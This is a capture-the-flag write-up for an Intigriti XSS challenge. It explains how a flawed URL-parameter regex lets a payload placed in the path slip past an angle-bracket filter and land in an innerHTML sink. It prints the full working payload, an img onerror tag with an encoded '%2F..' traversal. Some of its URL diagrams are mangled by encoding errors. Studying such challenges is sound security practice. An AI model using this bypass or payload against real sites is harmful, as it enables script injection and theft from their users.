- Challenge Type: Web (XSS)
- Difficulty: Easy
- Objective: Trigger
alert(document.domain)through XSS - Author: Godson (TrustFoundry)
The application presents a simple input field labeled "Enter your name!". Upon submission, it redirects to: /challenge?text=USER_INPUT, displaying the submitted text in a modal.
The source code reveals an XSS vulnerability in how the text is displayed in the modal (innerHTML):
function checkQueryParam() {
const text = getParameterByName('text');
if (text && XSS() === false) {
const modal = document.getElementById('modal');
const modalText = document.getElementById('modalText');
modalText.innerHTML = `Welcome, ${text}!`; // XSS vulnerability
textForm.remove()
modal.style.display = 'flex';
}
}There is also a protection function XSS() that checks for angle brackets (< and >) the URL.
function XSS() {
return decodeURIComponent(window.location.search).includes('<')
|| decodeURIComponent(window.location.search).includes('>')
|| decodeURIComponent(window.location.hash).includes('<')
|| decodeURIComponent(window.location.hash).includes('>')
}It checks in 2 parts of the URL:
- window.location.search: URL parameters after
?. (The part of thetextparameter) - window.location.hash: URL fragment after
#.
Example URL: βββββsearchββββββhashβ
https://challenge-0125.intigriti.io/challenge?text=Cedric.MSN#3133t
ββββββββββββββββββββββThe key to bypassing the protection lies in getParameterByName(), the function used to retrieve the text parameter from URL:
function getParameterByName(name) {
var url = window.location.href;
name = name.replace(/[\[\]]/g, "\\$&");
var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"); // Bad regex implementation
results = regex.exec(url);
if (!results) return null;
if (!results[2]) return '';
return decodeURIComponent(results[2].replace(/\+/g, " "));
}There is a regex pattern [?&]text(=([^&#]*)|&|#|$) that works as follows:
[?&]: Matches parameters starting with?or&.text: The parameter name.(=([^&#]*)|&|#|$): Captures the value until&,#, or end of string.
Crucially, this regex matches the text parameter, regardless of its position in the URL. This allows for unconventional URL formats:
Normal URL Match: βββββmatchββββββ
https://challenge-0125.intigriti.io/challenge?text=Cedric.MSN
ββββββββββββββββ
Invalid URL Match: βββββββββββmatchββββββββββββ
https://challenge-0125.intigriti.io&text=Cedric.MSN/invalid-url
ββββββββββββββββββββββββββββBy leveraging Relative URL Path, we can navigate backward in the URL structure using /... This technique allows us to place our payload within a subdirectory (or "folder") and then use /.. to traverse back to the original URL.
Additionally, we use & instead of ? to prevent the payload from being added to window.location.search, ensuring it doesn't interfere with the query string parsing:
Initial attempt: βββββββ¬βββββββββββββββpayloadββββββββββββββββββββpath traversalβ
https://challenge-0125.intigriti.io/challenge/&text=<img+src=a+onerror=alert(document.domain)>/.. β
βββββββ΄βββββββββββββββββββββββββββββββββββββββββββββββββββββββββπ€ Right ? Why isn't it working!!
The problem is that modern browsers automatically normalize paths before sending the request, which would strip our payload and result in: https://challenge-0125.intigriti.io/challenge.
To prevent this normalization, we simply URL encode the trailing / as %2F:
Final payload: βββββββ¬βββββββββββββββpayloadββββββββββββββββββββpath traversalβ
https://challenge-0125.intigriti.io/challenge/&text=<img+src=a+onerror=alert(document.domain)>%2F.. β
βββββββ΄βββββββββββββββββββββββββββββββββββββββββββββββββββββββββAnd like that, we've succesfully exploited the XSS to pop an alert(document.domain) !


